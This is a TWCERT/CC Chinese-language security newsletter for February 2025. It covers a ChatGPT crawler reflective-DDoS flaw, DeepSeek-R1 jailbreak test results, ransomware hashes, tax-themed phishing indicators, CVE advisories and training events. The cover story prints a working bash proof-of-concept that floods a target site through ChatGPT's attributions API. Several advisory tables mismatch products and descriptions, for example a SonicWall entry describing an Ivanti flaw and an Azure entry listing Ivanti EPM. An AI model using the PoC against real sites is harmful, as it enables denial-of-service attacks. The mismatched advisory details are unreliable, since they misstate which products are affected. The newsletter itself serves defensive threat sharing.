TWCERT/CC 資安情資電子報

2025 年 2 月份

電子報序言

台灣電腦網路危機處理暨協調中心(以下簡稱 TWCERT/CC)在數位發展部指導下，推動企業資安通報協處、產品資安漏洞通報、惡意檔案檢測服務及資安情資分享等工作，以提升國家資安聯防能量，並維護整體網路安全。

TWCERT/CC 本月份所發布之資安情資電子報，為透過官方網站、電子郵件及電話等方式接收資安情資，並與國內外 CERT/CSIRT、資安組 織、學研機構、民間社群、政府單位及私人企業間資安情資共享，將接收與共享之情資進行彙整、分析與分享，主要分成以下 4 章節：

第1章、封面故事：本月TWCERT/CC所發布之資安情資中，官網點閱次數最高之情資列為本月份封面故事。

第2章、國內外重要資安事件：研析國內外相關資安情報，及彙整上述方式接收之資安情資，進行分析與分享。範疇可能包含資訊安全宣導、資安趨勢、國際政府組織資安資訊、社群媒體資安近況、行動裝置資安訊息、軟硬體系統資安議題、軟硬體漏洞資訊、新興應用資安及資安小知識。

第3章、資安研討會及活動：近期舉辦之國內外資安相關研討會、訓練課程及資安競賽等活動資訊分享。

第4章、TVN漏洞公告：TWCERT/CC為CVE編號管理者 (CVE Numbering Authorities, CNA)，協助國內外廠商處理產品漏洞並完成漏洞修補，此章說明本月發布於台灣漏洞揭露 (Taiwan Vulnerability Note, TVN)平台其CVSS 3分數為8.8以上之漏洞。

目錄

內容

第 1 章、封面故事

ChatGPT 爬蟲漏洞：AI 武器化，你的網站恐成攻擊目標

德國資安研究員Benjamin Flesch發現OpenAI的ChatGPT爬蟲存在一個嚴重安全漏洞，此漏洞可被利用發起分散式阻斷服務(DDoS)攻擊，對全球網站的運作造成威脅。目前研究員已向OpenAI回報此問題，但尚未收到回覆。

此漏洞存在於ChatGPT的返回聊天機器人輸出，引用網路來源資訊的API端點，攻擊者可以提交多個不同的URL指向同一網站，使爬蟲訪問所有URL，造成DDoS攻擊。

攻擊者只需發送單個HTTP請求至ChatGPT API，即可利用ChatGPT爬蟲向目標網站發起大量請求，將單個請求放大為每秒20至5000次或更多請求。由於這些請求是透過OpenAI發起，受害網站難以追蹤攻擊來源。

存在漏洞的API連結為 hxxps[:]//chatgpt[.]com/backend-api/attributions，此API需提供連線目標網站給予參數urls，OpenAI不會

檢查連結是否對同一個網站多次出現，亦未限制參數urls儲存的超連結數量，因此可以在單一HTTP請求中，傳輸數千個超連結進行阻斷服務攻擊。

圖1是德國資安研究員 Benjamin Flesch 提供的概念性驗證程式碼(PoC)，目標 URL為 my-website.localhost；圖2是ChatGPT爬蟲在一秒內對目標網站進行多次連線嘗試Log紀錄。

```
#!/bin/bash

echo {1..50} | tr ' ' '\n' | (
  while read -r i;
    do echo "https://my-website.localhost:$RANDOM/$i-$RANDOM.txt";
  done
) | jq -R -s -j -c '{ "urls": split("\n")[:-1] }' \
| curl -v --http1.1 \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.32 (KHTML, like Gecko) Chrome/133.0.0.1 Safari/535.32' \
  -H "content-type: application/json" \
  -H 'origin: https://www.chatgpt.com' \
  --data-binary @- -X POST 'https://chatgpt.com/backend-api/attributions'
```

圖1：ChatGPT爬蟲漏洞的PoC。參考來源：Benjamin Flesch。

```
...
2025-01-10 40.84.221.211 "GET /9185 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible;
ChatGPT-User/1.0; +https://openai.com/bot"
2025-01-10 40.84.221.210 "GET /1190 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible;
ChatGPT-User/1.0; +https://openai.com/bot"
2025-01-10 40.84.221.208 "GET /9185 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible;
ChatGPT-User/1.0; +https://openai.com/bot"
2025-01-10 40.84.221.208 "GET /1190 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible;
ChatGPT-User/1.0; +https://openai.com/bot"
...
```

圖2：ChatGPT爬蟲漏洞對目標網站連線的Log紀錄。
參考來源：Benjamin Flesch。

ChatGPT API的安全漏洞暴露了當前API安全管理存在的一些重大技術挑戰。根據目前資料，OpenAI尚未針對此漏洞作出回應。因此，在整合第三方 API 時，開發者或企業應更加注重嚴格的存取控制、定期進行漏洞掃描及滲透測試，並完善API端點的身份驗證和授權機制，以防止

未經授權的存取和資料洩漏；同時亦應警惕通過聊天機器人啟動的ChatGPT爬蟲所構成風險，並積極採取措施加強安全性，以保護自身的系統免受潛在威脅。

- 相關連結
  1. OpenAI's ChatGPT crawler can be tricked into DDoSing sites, answering your queries
  2. 2025-01-ChatGPT-Crawler-Reflective-DDOS-Vulnerability.md

第 2 章、國內外重要資安事件

2.1 新興應用資安

2.1.1 DeepSeek-R1 LLM 安全性崩潰？超過一半越獄攻擊輕鬆突破

DeepSeek-R1 模型是由中國新創公司 DeepSeek 開發的大型語言模型，以低成本和高效能引起業界的關注討論。然而，近期多家資安廠商對DeepSeek提出安全性疑慮，其中Qualys對DeepSeek-R1 LLaMA 8B變體進行安全分析，結果顯示該模型存在明顯的資安風險。

Qualys的分析平台TotalAI對DeepSeek-R1進行知識庫（Knowledge Base，KB）和越獄攻擊測試。

知識庫測試旨在評估模型在倫理、法律和運營風險方面的表現，此測試涵蓋16種類別，包括爭議性話題、過度代理、事實不一致、騷擾、仇恨言論、非法活動、法律資訊等。DeepSeek-R1在891項知識庫評估中未通過541項，失敗率接近61%，其中以「錯位」（Misalignment）類別表現最差。

越獄攻擊旨在繞過模型的安全機制，導致其產生有害的輸出，例如

非法活動的指示、錯誤資訊、隱私侵犯和不道德的內容等。Qualys TotalAI使用 18 種不同的越獄攻擊類型對DeepSeek-R1進行885次測試，共513次未通過測試，失敗率近58%。結果顯示此模型容易產生仇恨言論、散播陰謀論和提供不正確醫療資訊描述，具有高度的脆弱性。

此外，DeepSeek-R1的隱私政策聲明「所有使用者資料都儲存在中國的伺服器上」，引發政府資料存取、與GDPR和CCPA等國際資料保護法規的衝突。近期發生的網路安全事件也暴露DeepSeek AI在資料保護措施的缺陷，例如超過一百萬個日誌記錄，其中含有使用者的軟體互動、身分驗證金鑰等高機密性敏感資料，均遭受洩漏。

總體而言，DeepSeek-R1雖然在人工智慧效率有所突破，但其安全漏洞和合法性的挑戰，為企業帶來顯著的風險。為了確保AI模型部署的可靠性，企業組織必須採取全面的安全策略，包括漏洞評估、風險管理和遵守資料保護法規。

以下是使用建議：

1.企業在考慮使用DeepSeek-R1時，應進行全面的安全風險評估，並制定相應的緩解策略。

2.考慮到資料隱私和合法性問題，應謹慎評估是否使用DeepSeek的託管模型，並優先考慮在本地或使用者控制的雲環境中部署模型。

3.應實施強大的防護措施，以檢測和阻止越獄攻擊。

4.企業應密切關注相關法規和法律的變化，以確保與國內法令規範相符。

● 相關連結

1. DeepSeek Failed Over Half of the Jailbreak Tests by Qualys TotalAI
2. DeepSeek-R1 LLM Fails Over Half of Jailbreak Attacks in Security Analysis

2.2 資安趨勢

2.2.1 近日勒索軟體攻擊頻繁，企業與個人應加強網路安全防護

TWCERT/CC掌握外部情資，近期 Hunter Ransom Group 針對醫療機構發動勒索攻擊。根據情資顯示，該組織的主要攻擊手法包括滲透企業內網，利用 SharpGPOAbuse 和 BYOVD（Bring-Your-Own-Vulnerable-Driver）技術提升帳號權限，繞過傳統防毒軟體的偵測與防護，進一步在內部橫向移動並加密其他主機的系統檔案。

目前遭攻擊之醫療機構，已知是先滲透內部網路後，進而攻擊AD主機，取得權限後再派送惡意程式至其它主機，已發現的惡意程式名稱如下：

檔案名稱	SHA256
av-1m.exe	EE854E9F98D0DF34C34551819889336C16B9BFE76E391356CB17B55D59CF28CF
av.exe	3B2081042038C870B1A52C5D5BE965B03B8DD1C2E6D1B56E5EBB7CF3C157138D
bb.exe	2CC975FDB21F6DD20775AA52C7B3DB6866C50761E22338B08FFC7F7748B2ACAA
crazyhunter.exe	F72C03D37DB77E8C6959B293CE81D009BF1C85F7D3BDAA4F873D3241833C146B

crazyhunter.sys	5316060745271723C9934047155DAE95A3920CB6343CA08C93531E1C235861BA
go.exe	754D5C0C494099B72C050E745DDE45EE4F6195C1F559A0F3A0FDDBA353004DB6
go2.exe	983F5346756D61FEC35DF3E6E773FF43973EB96AABAA8094DCBFB5CA17821C81
go3.exe	F72C03D37DB77E8C6959B293CE81D009BF1C85F7D3BDAA4F873D3241833C146B
ru.bat	15160416EC919E0B1A9F2C0DC8D8DC044F696B5B4F94A73EC2AC9D61DBC98D32
ru.bat	731906E699ADDC79E674AB5713C44B917B35CB1EABF11B94C0E9AD954CB1C666
zam64.sys	2BBC6B9DD5E6D0327250B32305BE20C89B19B56D33A096522EE33F22D8C82FF1
zam64.sys	BDF05106F456EE56F97D3EE08E9548C575FC3188AC15C5CE00492E4378045825
ta.bat	527ED180062E2D92B17FF72EA546BB5F8A85AD8B495E5B0C08B6637B9998ACF2
CrazeHunter.zip	D202B3E3E55DF4E424F497BA864AB772BAAF2B8FE10B578C640477F8A8A8610C

以下為勒索軟體攻擊的防護措施建議：

1. 比對檔案雜湊值，並檢視系統是否存在可疑檔案。
2. 嚴格控管共享資料夾權限。
3. 採用網路入侵防護機制，切割不同網段進行隔離，縮小受影響範圍。
4. 透過防毒軟體進行防護，確保系統安全防護措施正常開啟與運行，並及時更新系統及病毒碼。
5. 提高安全意識，不隨意開啟可疑連結、來源不明電子郵件、檔案，並於開啟與運行前進行安全掃描，盡可能從可信的來源下載和安裝軟體。
6. 核心系統主機可安裝 EDR(Endpoint Detection and Response) 端點偵

測與回應，即時偵測主機異常活動並進行回應。

7. 定期進行檔案備份，並遵守備份 321原則：

7.1 資料至少備份 3份

7.2 使用 2 種以上不同的備份媒介

7.3 其中 1 份備份要存放異地

- 相關連結

1. 衛生福利部資安訊息分享與分析中心

2.3 國際政府組織資安資訊

2.3.1 駭客偽冒財政部發動社交工程郵件攻擊

國家資通安全研究院(NICS)近期發現攻擊者偽冒財政部名義，透過電子郵件發動社交工程攻擊。這些郵件以“稅務調查”為由，誘使收件者開啟並下載帶有惡意程式碼的附件。此類攻擊手段可能對企業與個人造成嚴重的資料外洩與系統入侵風險。

根據國家資通安全研究院的分析，攻擊者透過偽裝成財政部或地方稅務機關的身份，發送涉及稅務事宜的電子郵件。若收件者下載並執行郵件中的附件，則可能會觸發木馬程式，可能導致企業機密資料外洩或系統遭駭侵。

已知攻擊郵件特徵如下：

1. 駭客寄送之主旨：

「稅稽徵機關調查通知」、「稅務抽查涉稅企業名單」

2. 惡意附檔名稱：

「稅務涉稅企業.pdf」、

「查閱1140120.zip」、

「稅務抽查涉稅企業名單.pdf」、

「涉稅企業名單.zip」

3. 相關惡意中繼站:

206[.]238[.]221[.]240、

9010[.]360sdgg[.]com、

rgghrt1140120-1336065333[.]cos[.]ap-guangzhou[.]myqcloud[.]com、

fuued5-1329400280[.]cos[.]ap-guangzhou[.]myqcloud[.]com、

6-1321729461[.]cos[.]ap-guangzhou[.]myqcloud[.]com、

00-1321729461[.]cos[.]ap-guangzhou[.]myqcloud[.]com

註：相關網域名稱為避免誤點觸發連線，故以「[.]」區隔。

此外，TWCERT/CC近期亦接獲相關資安情資，並將與國家資通安全研究院一同密切追蹤此類攻擊活動。TWCERT/CC提醒企業與民眾保持高度警覺，特別是在收到疑似來自官方電子郵件時，應格外謹慎，以避免成為攻擊目標。。

防護措施建議：

1.網路管理人員請參考受駭偵測指標，確實更新防火牆，阻擋惡意中繼站。

2.建議留意可疑電子郵件，注意郵件來源正確性，勿開啟不明來源之郵件與相關附檔。

3.安裝防毒軟體並更新至最新病毒碼，開啟檔案前使用防毒軟體掃描郵件附檔，並確認附檔檔案類型，若發現檔案名稱中存在異常字元(如lnk, rcs, exe, moc等可執行檔案附檔名的逆排序)，請提高警覺。

4.加強內部宣導，提升人員資安意識，以防範駭客利用電子郵件進行社交工程攻擊。

2.4 軟硬體漏洞資訊

2.4.1 Veeam旗下Veeam Backup & Replication備份軟體存在多個重大資安漏洞

CVE 編號	CVE-2024-40717,CVE-2024-42452,CVE-2024-42453,CVE-2024-42456
影響產品	Veeam Backup & Replication
解決辦法	更新 Veeam Backup & Replication 至 12.3(含)之後版本

- 內容說明：

  Veeam Backup & Replication 是 Veeam 核心備份軟體，去年 12 月發布資安公告並釋出修補版本。

  - 【CVE-2024-40717，CVSS：8.8】

    此漏洞允許特定的低權限使用者，透過 Script 腳本提升權限，從而在伺服器遠端執行任意程式碼(RCE)。

  - 【CVE-2024-42452，CVSS：8.8】

    此漏洞允許經過驗證的使用者，在備份伺服器上提升權限且可遠端上傳檔案至 ESXi 主機。

  - 【CVE-2024-42453，CVSS：8.8】

    此漏洞允許經過驗證的使用者，可在備份伺服器上控制與修改虛擬化環境配置。

  - 【CVE-2024-42456，CVSS：8.8】

    此漏洞允許經過驗證的使用者，可提升權限獲得存取權或與控制關鍵服務。

- 影響平台：

  ➢ Veeam Backup & Replication 12.2.0.334 (含)之前版本

- 資料來源：

  1. Vulnerabilities Resolved in Veeam Backup & Replication 12.3

2. CVE-2024-40717
3. CVE-2024-42452
4. CVE-2024-42453
5. CVE-2024-42456

2.4.2 SonicWall 旗下SMA1000系列產品存在重大資安漏洞

CVE 編號	CVE-2025-23006
影響產品	SonicWall SMA1000
解決辦法	更新 SMA 1000 系列產品至 12.4.3-02854(含)之後版本

- 內容說明：

  Ivanti 針對旗下三款產品 Connect Secure、Policy Secure 和 ZTA Gateways 發布資安公告，並提出相應的解決方案。該漏洞(CVE-2025-0282，CVSS：9.0)為緩衝區溢出，允許未經身分驗證的攻擊者遠端執行任意程式碼(RCE)。

- 影響平台：
  - SMA 1000 系列產品 12.4.3-02804(含)之前版本
- 資料來源：
  1. SMA1000 Pre-Authentication Remote Command Execution Vulnerability
  2. CVE-2025-23006

2.4.3 Cisco會議管理REST API存在權限提升漏洞

CVE 編號	CVE-2025-20156
影響產品	Meeting Management
解決辦法	更新 Meeting Management 至 3.9.1

- 內容說明：

  Cisco(思科)針對旗下會議管理系統 REST API 發布重大資安漏洞(CVE-2025-20156，CVSS：9.9)，此漏洞允許經過身分驗證的低權限使用者提升至管理員權限。

- 影響平台：
  - Cisco ISE 3.0 版本
  - Cisco ISE 3.1 版本
  - Cisco ISE 3.2 版本
  - Cisco ISE 3.3 版本
- 資料來源：
  1. Cisco Meeting Management REST API Privilege Escalation Vulnerability
  2. CVE-2025-20156

2.4.4 Microsoft 旗下 Azure AI 臉部識別服務存在特權提升漏洞

CVE 編號	CVE-2025-21415
影響產品	Ivanti Endpoint Manager(EPM)
解決辦法	Azure AI Face Service

- 內容說明：

  Azure AI 臉部識別服務是一款由 Microsoft(微軟)提供 AI 演算法的服務，可偵測、識別和分析影像中的人臉。日前微軟針對 Azure AI 臉部識別服務發布重大資安漏洞(CVE-2025-21415，CVSS：9.9)，此漏洞透過欺騙 Azure AI 臉部識別服務繞過身分驗證，允許攻擊者透過網路提升權限。

- 影響平台：
  - Azure AI Face Service
- 資料來源：

  1. Azure AI Face Service Elevation of Privilege Vulnerability
  2. CVE-2025-21415

2.4.5 Veeam 的 Veeam Updater 元件存在重大資安漏洞

CVE 編號	CVE-2025-23114
影響產品	Zyxel 部分 AP 產品和安全路由器
解決辦法	更新適用 Salesforce 的 Veeam Backup 之 Veeam Updater 元件至 7.9.0.1124 更新適用 Nutanix AHV 的 Veeam Backup 之 Veeam Updater 元件至 9.0.0.1125 更新適用 AWS 的 Veeam Backup 之 Veeam Updater 元件至 9.0.0.1126 更新適用 Microsoft Azure 的 Veeam Backup 之 Veeam Updater 元件至 9.0.0.1128 更新適用 Google Cloud 的 Veeam Backup 之 Veeam Updater 元件至 9.0.0.1128 更新適用 Oracle Linux Virtualization Manager 和 Red Hat Virtualization 的 Veeam Backup 之 Veeam Updater 元件至 9.0.0.1127

- 內容說明：

  近日備份與資料保護軟體廠商 Veeam 發布其產品存在重大資安漏洞(CVE-2025-23114，CVSS：9.0)，此漏洞存在於 Veeam Updater 元件，允許攻擊者利用中間人攻擊，以 root 權限於受影響的裝置執行任意程式碼。Veeam 現已發布更新，建議使用者儘速完成更新作業。

- 影響平台：
  - 適用 Salesforce 的 Veeam Backup 3.1(含)之前版本
  - 適用 Nutanix AHV 的 Veeam Backup 5.0 和 5.1 版本
  - 適用 AWS 的 Veeam Backup 6a 和 7 版本
  - 適用 Microsoft Azure 的 Veeam Backup 5a 和 6 版本

- 適用 Google Cloud 的 Veeam Backup 4 和 5 版本
- 適用 Oracle Linux Virtualization Manager 和 Red Hat Virtualization 的 Veeam Backup 3、4.0 和 4.1 版本

- 資料來源：
  1. Veeam-CVE-2025-23114
  2. CVE-2025-23114

2.4.6 Cisco 旗下身分識別服務存在二個重大資安漏洞

CVE 編號	CVE-2025-20124,CVE-2025-20125
影響產品	Cisco ISE
解決辦法	更新 Cisco ISE 3.1P10 (含)之後版本 更新 Cisco ISE 3.2P7 (含)之後版本 更新 Cisco ISE 3.3P4 (含)之後版本 Cisco ISE 3.0 請遷移至固定版本

- 內容說明：

  Cisco(思科)旗下身分識別服務引擎(Identity Services Engine，ISE)是一款基於身分的安全管理平台，可從網路、使用者設備收集資訊，並在網路基礎設施中實施策略和制定監管決策。前日 Cisco 發布重大資安漏洞公告(CVE-2025-20124，CVSS：9.9 和 CVE-2025-20125，CVSS：9.1)並釋出更新版本。

  【CVE-2025-20124，CVSS：9.9】

  此漏洞為 Cisco ISE API 存在不安全的 Java 反序列化漏洞，允許經過身分驗證的遠端攻擊者，在受影響的設備上，可以 root 身分執行任意命令。

  【CVE-2025-20125，CVSS：9.1】

  存在 Cisco ISE API 繞過授權漏洞，允許經過驗證的遠端攻擊者可利用有效的唯讀憑證獲取敏感資料、更改節點配置，並重新啟動節點。

- 影響平台：
  - Cisco ISE 3.0 版本
  - Cisco ISE 3.1 版本
  - Cisco ISE 3.2 版本

- Cisco ISE 3.3 版本

- 資料來源：
  1. Cisco Identity Services Engine
  2. CVE-2025-20124
  3. CVE-2025-20125

2.4.7 F5 旗下BIG-IP存在作業系統命令注入漏洞(CVE-2025-20029)

CVE 編號	CVE-2025-20029
影響產品	F5 BIG-IP
解決辦法	更新至 BIG-IP 15.1.10.6 (含)之後版本 更新至 BIG-IP 16.1.5.2 (含)之後版本 更新至 BIG-IP 17.1.2.1 (含)之後版本

- 內容說明：

  F5 旗下 BIG-IP 是一款管理 F5 流量作業在系統上運作的授權模組，專門設計檢查網路和應用程式流量，根據配置做出即時決策。近日研究人員發現 BIG-IP 存在重大資安漏洞(CVE-2025-20029，CVSS：8.8)，經身分驗證的攻擊者可利用此漏洞執行任意作業系統命令，並建立或刪除檔案。

- 影響平台：
  - BIG-IP 15.1.0 至 15.1.10
  - BIG-IP 16.1.0 至 16.1.5
  - BIG-IP 17.1.0 至 17.1.2
- 資料來源：
  1. K000148587: BIG-IP iControl REST and tmsh vulnerability CVE-2025-20029
  2. CVE-2025-20029

2.4.8 Zimbra 旗下 ZimbraSyncService SOAP存在SQL注入漏洞

CVE 編號	CVE-2025-25064
影響產品	ZimbraSyncService SOAP
解決辦法	根據官方網站釋出解決方式進行修補。

- 內容說明：

  近日 Zimbra 發布有關 ZimbraSyncService SOAP 存在重大漏洞(CVE-2025-25064，CVSS：9.8)。此漏洞源於參數未經適當過濾，允許攻擊者對系統注入任意 SQL 查詢，導致電子郵件資料外洩。

- 影響平台：
  - ZimbraSyncService SOAP 10.0.12 (含)之前版本
  - ZimbraSyncService SOAP 10.1.4 (含)之前版本
- 資料來源：

1. Zimbra Security Advisories
2. Zimbra Collaboration Daffodil 10.0.12 Patch Release
3. Zimbra Daffodil (v10.1.4) Patch Release
4. CVE-2025-25064

2.4.9 Ivanti 旗下雲端服務設備存在重大資安漏洞

CVE 編號	CVE-2024-47908
影響產品	Ivanti Cloud Services Appliance
解決辦法	更新 Ivanti Cloud Services Appliance 至 5.0.5 (含)之後版本

- 內容說明：

  Ivanti 旗下雲端服務設備(Cloud Services Appliance，CSA)是一款能透過網際網路提供安全通訊。近日 Ivanti 發布資安公告，發現該設備存在安全漏洞(CVE-2024-47908，CVSS：9.1)，允許經過身分驗證的遠端攻擊者遠端執行程式碼。

- 影響平台：
  - Ivanti Cloud Services Appliance 5.0.4(含)之前版本
- 資料來源：
  1. Security Advisory Ivanti Cloud Services Application (CSA) (CVE-2024-47908, CVE-2024-11771)
  2. CVE-2024-47908

2.4.10 Ivanti 旗下Connect Secure 和 Policy Secure 存在多個重大資安漏洞

CVE 編號	CVE-2025-22467,CVE-2024-38657,CVE-2024-10644
影響產品	Ivanti Connect Secure,Ivanti Policy Secure
解決辦法	更新 Ivanti Connect Secure 22.7R2.6(含)之後版本 更新 Ivanti Policy Secure 22.7R1.3(含)之後版本

- 內容說明：

  Ivanti 針對旗下二款產品 Connect Secure 和 Policy Secure 發布資安公告，並提出相應的解決方案。

  【CVE-2025-22467，CVSS：9.9】

  此漏洞為緩衝區溢位，允許經過身分驗證的遠端攻擊者遠端執行程式碼。影響 Ivanti Connect Secure 22.7R2.5(含)之前版本。

  【CVE-2024-38657，CVSS：9.1】

  此漏洞允許經過身分驗證且具有管理者權限的遠端攻擊者，對系統寫入任意檔案。影響 Ivanti Connect Secure 22.7R2.5(含)之前版本、Ivanti Policy Secure 22.7R1.2(含)之前版本。

  【CVE-2024-10644，CVSS：9.1】

  此漏洞允許經過身分驗證且具有管理者權限的遠端攻擊者，對系統遠端執行程式碼。影響 Ivanti Connect Secure 22.7R2.5(含)之前版本、Ivanti Policy Secure 22.7R1.2(含)之前版本

- 影響平台：
  - Ivanti Connect Secure 22.7R2.5(含)之前版本
  - Ivanti Policy Secure 22.7R1.2(含)之前版本
- 資料來源：

  1. February Security Advisory
  2. CVE-2024-38657
  3. CVE-2025-22467

4. CVE-2024-10644

2.4.11 SonicWall 的 SonicOS 存在多個重大資安漏洞

CVE 編號	CVE-2024-53704,CVE-2024-40762
影響產品	SonicWall
解決辦法	Gen7 Firewalls 與 Gen7 NSv： 更新至 7.0.1-5165 (含)以後版本和 7.1.3-7015 (含)以後版本 TZ80 8.0.0-8037(含)之後版本

- 內容說明：

  SonicWall 為美國網路安全公司，主要進行全方位的互聯網安全設計。近日發布有關 SonicOS 資安公告並提出更新版本。

  【CVE-2024-53704，CVSS：9.8】

  此漏洞為 SSLVPN 驗證機制中，允許遠端攻擊者繞過身分驗證。

  【CVE-2024-40762，CVSS：9.8】

  此漏洞為 SSLVPN 的驗證 Token 加密使用弱偽隨機數生成器，攻擊者可以預測生成器且繞過身分驗證。

- 影響平台：
  - Gen7 Firewalls：7.1.x (含)以前版本和 7.1.2-7019
  - Gen7 NSv：7.1.x (含)以前版本和 7.1.2-7019
- 資料來源：

  1. SonicOS Affected By Multiple Vulnerabilities
  2. CVE-2024-53704
  3. CVE-2024-40762

2.4.12 Palo Alto Networks PAN-OS存在重大資安漏洞

CVE 編號	CVE-2025-0108
影響產品	Palo Alto Networks PAN-OS
解決辦法	更新至以下版本： PAN-OS 10.1.14-h9 (含)以後版本 PAN-OS 10.2.13-h3 (含)以後版本 PAN-OS 11.1.6-h1 (含)以後版本 PAN-OS 11.2.4-h4 (含)以後版本

- 內容說明：

  Palo Alto Networks 的防火牆作業系統 PAN-OS 近期發現存在一個重大資安漏洞(CVE-2025-0108，CVSS 4.x：8.8)，此漏洞允許未經身分驗證的攻擊者透過網路存取管理 Web 介面並調用特定 PHP 腳本。

- 影響平台：
  - PAN-OS 10.1.14-h9 (不含)以前版本
  - PAN-OS 10.2.13-h3 (不含)以前版本
  - PAN-OS 11.1.6-h1 (不含)以前版本
  - PAN-OS 11.2.4-h4 (不含)以前版本
- 資料來源：
  1. CVE-2025-0108 PAN-OS: Authentication Bypass in the Management Web Interface
  2. CVE-2025-0108

第 3 章、資安研討會及活動

- **資安研討會**

【資安學院】2/21 從零到認證-ISO 27001導入步驟及重點前導課程	
活動時間	**2025-02-21 09:00 ~ 2025-02-21 16:00**
活動地點	**中華民國資訊軟體協會-大同辦公室D01大會議室（台北市中山區中山北路3段22-1號新設工大樓 5樓 C區）**
活動網站	**https://www.cisanet.org.tw/Course/Detail/5414**
活動概要	 **【費用】** 原價： 7,200元/人 早鳥價： 6,800元/人(課前一個月報名) 軟協會員：6,000元/人 費用含稅、教材、餐點及完課證明 報名截止： 2025-02-18 **【活動內容 / Event Deails】** 本課程旨在分析及講解國際資訊安全管理系統標準 ISO 27001 及相關法規要求之重點，採用互動式教學，並以範例實作方式，探討導入之步驟與程序，包含資安目標之訂定、風險管理、各項資安控制措施、監督及管理的方法等。目的在於提升學員建置資安管理系統之

	能力，並利於企業在未來容易運用與導入，以期持續改進組織整體資安環境。 **【主辦單位】中華民國資訊軟體協會** **【聯絡窗口】02-2553-3988 分機 816 林專員** **security@cisanet.org.tw**
【資安學院】2/25-2/26 iPAS-「中級」資訊安全工程師-能力研習衝刺班	
活動時間	**2025-02-25 09:00 ~ 2025-02-26 16:00**
活動地點	**中華民國資訊軟體協會-大同辦公室D01大會議室（台北市中山區中山北路3段22-1號新設工大樓 5樓 C區）**
活動網站	**https://www.cisanet.org.tw/Course/Detail/5436**
活動概要	 **【費用】** 原價： 12,000元/人 早鳥價： 9,000元/人(開課前一個月需完成報名) 軟協會員：11,000元/人 費用含稅、教材、餐點及完課證明 報名截止： 2025-02-18 **【活動內容 / Event Deails】** 本課程融入業界實務案例，教授專業的資訊安全知識與技能，如建立符合法規與組織安全需求之系統、網路與安全防護架構、執行相

	關維運作業等，課程中亦透過歷屆試題講解重點觀念，協助您掌握 iPAS 考題趨勢及技術解析，不僅提升解題戰力，應考也更佳輕鬆！ **【主辦單位】中華民國資訊軟體協會** **【聯絡窗口】02-2553-3988 分機 816 林專員** **security@cisanet.org.tw**
【資安院】3/26、3/27 基礎資安培訓與輔導課程	
活動時間	**114年3月26日(三)、3月27日(四) 共2日/12:30-17:00**
活動地點	**兆基商務中心南京館9樓-A（台北市松山區南京東路四段120巷11號9樓）**
活動網站	**報名表單連結**
活動概要	 **【費用】** 免費 報名截止： 2025-03-18 **【活動目的】**

	國家資通安全研究院(以下簡稱資安院)為協助強化台灣中小微型企業與非營利組織之資安韌性，推動「NICS 台灣資安計畫」(以下簡稱本計畫)。本計畫自 113 年起辦理「資安服務團」，今(114)年預計免費服務 20 間組織。期望透過培訓課程及實地輔導諮詢等方式，協助中小微型企業及非營利組織，瞭解組織內部資安現況、提升內部人員資安意識與組織整體資安防護能力。本次「基礎資安培訓與輔導課程」活動包含服務內容說明及 4 門基礎資安課程，期能同時達到服務說明及培訓目的。 **【活動內容】** 「基礎資安培訓與輔導課程」內容包含： 1. 介紹 114 年「NICS 台灣資安計畫-資安服務團」服務內容，以及申請加入輔導的方式。 2. 安排 2 日的基礎資安課程培訓，包含「基本資安防護實務」、「網路安全管理實務」、「資安管理基礎實務」、「系統發展委外安全」共 4 門課程。 **【主辦單位】國家資通安全研究院** **【聯絡窗口】如您已了解服務內容，欲進一步申請參與「資安服務團實地輔導」服務對象遴選，請持續關注資安人蓼公告之報名資訊。** **若對於活動有任何問題，歡迎來信 TE-COD@nics.nat.gov.tw 或來電 02-2380-0939 陳小姐、02-2380-0941 張小姐。**
【資安學院】3/28 個資法令概況與實務	
活動時間	**2025-03-28 09:00 ~ 2025-03-28 12:00**
活動地點	**中華民國資訊軟體協會-大同辦公室D01大會議室（台北市中山區中山北路3段22-1號新設工大樓 5樓 C區）**
活動網站	**https://www.cisanet.org.tw/Course/Detail/5415**

活動概要	 **【費用】** 原價： 4,000元/人 早鳥價： 3,800元/人(課前一個月報名) 軟協會員：3,500 元/人 費用含稅、教材、餐點及完課證明 報名截止： 2025-03-26 **【活動內容 / Event Deails】** 近期個資外洩事件頻傳，民眾個資保護成為政府企業當前重要課題，5 月 16 日立院個資法修正案三讀通過、最重罰 1,500 萬，本課程將研析過往個資外洩的實際案例，探討個資外洩之發生原因及防範方法，避免個資外洩事件再次發生。 **【主辦單位】中華民國資訊軟體協會** **【聯絡窗口】02-2553-3988 分機 816 林專員** **security@cisanet.org.tw**
【資安學院】4/9 資通系統委外開發RFP全攻略-SSDLC及安全程式設計	
活動時間	**2025-04-09 14:00 ~ 2025-04-09 17:00**
活動地點	**中華民國資訊軟體協會-大同辦公室D01大會議室（台北市中山區中山北路3段22-1號新設工大樓 5樓 C區）**
活動網站	**https://www.cisanet.org.tw/Course/Detail/5416**

活動概要	 **【費用】** 原價： 4,000元/人 早鳥價： 3,800元/人(課前兩個月報名) 軟協會員：3,500元/人 費用含稅、教材、餐點及完課證明 報名截止： 2025-04-04 **【活動內容 / Event Deails】** 本課程旨在針對委外開發技術面及管理面資安需求，並依據資通系統防護基準控制措施構面，進行 SSDLC 安全的系統開發生命週期實務操作，制定資安需求項目資訊系統委外安全管理。可依據系統防護需求等級，選取適用之需求與 ISO 27001:2022 與 SSDLC 的關聯性 A.8.2.5 安全開發生命週期(針對安全需求定義、安全設計與開發、安全部署與維護) 課程內容。 **【主辦單位】中華民國資訊軟體協會** **【聯絡窗口】02-2553-3988 分機 816 林專員** **security@cisanet.org.tw**

【資安學院】4/14-4/18 BS 10012:2017+A1:2018 個人資訊管理系統主導稽核員	
活動時間	**2025-04-14 09:00 ~ 2025-04-18 18:30**
活動地點	**中華民國資訊軟體協會-大同辦公室D01大會議室（台北市中山區中**

	山北路3段22-1號新設工大樓 5樓 C區 ）
活動網站	**https://www.cisanet.org.tw/Course/Detail/5418**
